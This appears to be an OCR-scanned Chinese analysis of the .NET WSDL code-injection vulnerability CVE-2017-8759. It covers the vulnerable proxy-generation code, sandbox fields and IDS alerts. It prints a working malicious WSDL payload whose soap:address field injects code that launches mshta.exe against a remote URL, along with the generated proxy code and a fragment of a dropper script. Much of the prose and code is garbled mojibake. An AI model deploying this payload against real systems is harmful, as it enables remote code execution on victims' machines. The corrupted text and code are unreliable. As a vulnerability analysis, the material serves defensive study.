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Microsoft .NET Framework 4. 6.2
Microsoft .NET Framework 4.7

TR

a. B, FEAREEZRML CVE-2017-0199 JRFAMIA AT, BHIEEEEHE, RS 15E
B 1B WSDL XHid R SO HEAT AT



FERERIEER

R -_su:-ap:wsdl http:fr,’_imgfnffice.png
THDRINE

HEfEEER
TR R ER AT,
(%) B=hEER (a)
(O F=hEE )

b, PR GRS 2

<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
1 http://schemas.xmlsoap.org/wsdl/soap/"
i/ /v . w3 . org/2000/wsdl fsuds"
://schemas .microsoft.com/clr/ns/System"
a1 ://schemas . microsoft.com/clr/nsassem/Logo/Logo"s>
<portType name="PortType"/>
| <binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsocap.orq/scap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>

</binding>
| <service name="Service">
| <pQEememes"Poritt biodinc=rins - Bindingh
<soap:address location="http://localhost?C:\Windows\System32\mshta.exe?>http:/ g__.{ img/word.db"/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?")[0]) = null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?")[2])/
System.AppDomain.CurrentDomain. SetData(_url.Split('?") [0], true);
Y />
</p0re
</service>
-</definitions>

c. WSDL i#if PrintClientProxy BRAREMENTICAF. b CFh & 2N ibkns, 208
JE T B E R B . SRTIT TsValidUr]l eRECZESAIE URL I, 35047 0 AT 4 H1 7 A 2,
R T T LA AR L.

if (i == @)

1

sb.Append("base.ConfigureProxy(this.GetType(), ");

sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[1i])};
sb.Append(");");

¥

else

{
// Only the first location is used, the rest are commented out in the proxy
sb.Append("//base.ConfigureProxy(this.GetTypel(), ");
sb.Append(WsdlParser.IsValidUrl((string) connectURLs[1i]));
sb.Append(");");

¥
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namespace Logo {

[SoapType(SoapOptions=SoapOption.Optionl|Soapoption. AlvaysIncludeTypes|SoapOption. ¥sdString| SoapOption. Erbedlll, XnlNamespace=0"

http: chewss . microsoft. com/clr Logo/Logo™, XmlT e=A"http: chewas . microsoft.com/clr, Logo/Logo")] [ConVisible{true)]
public class Image : System.Runtime.Remoting.Services.RemotingClientProxy
{

// Constructor
public Image()

i
base.ConfigureProxy{this.GetType(), B"http://localhost?C:\indovs)Systend2imshta.exeheep: /[ ito/ vord. db ") ;
//base.ConfigureProxyithis.GetType (), B";
if {System.ippbowain.CurrentDomain. Getbatal_url.Split('?'}[0]) == null) {
System.Disgnostics.Process.Start{ url.Split('?'}[1], _url.Split{'2'}[2]1);
System. ippDowain. CurrentDomain. SetData(_url.Splic{ ' 2'}[0], true);:
LA
3
public Cbject RemotingReference
i
get{return{_tp}:}
H

3
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Createobiect (
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Office.CurrentDirectory & "\*'
"exe" appDa\:a Office. expa‘xdETuro‘m’E‘xtE:rl‘ngs(

alse : sslf ClDSE<,’ECIJ[:E>
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https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8759
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MD5 I

SHAL

SHA256 ]
| BERS Vindows XP SP3 SREFRR : Miscrosoft Office 2010

FrosamE : 2017-08-13 10:10:48 STl : 2017-08-13 10:14:21

* WREXE 1] >
. EENTA [ >
+ RESHE 2] v

v R EHTTPIE S
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https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8759
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HTTP_Net-FrameworkiE 2B HTRBICVE-2017-8759) 7 19216841128 2017-09-13 16:22:27 R£=™A =7 | RESET 1 1
HTTP_Net-FrameworkiE2 A B #TRBICVE-2017-8759] 7 19216841128 2017-09-13 16:22:26 28 RESET 1 1
HTTP_Net-FrameworkiE2 A B #UTREICVE-2017-8759] 7 19216841128 2017-09-13 16:22:25 =LRH RESET 1 1
HTTP_Net-FrameworkiERABH/TREICVE-2017-8759] 7 19216841128 2017-09-13 16:22:24 =2=E RESET 1 1
HTTP_Net-FrameworkERABH/TEBICVE-2017-8759] 7 192.16841.128 2017-09-13 16:22:22 £2i=H RESET 1 1
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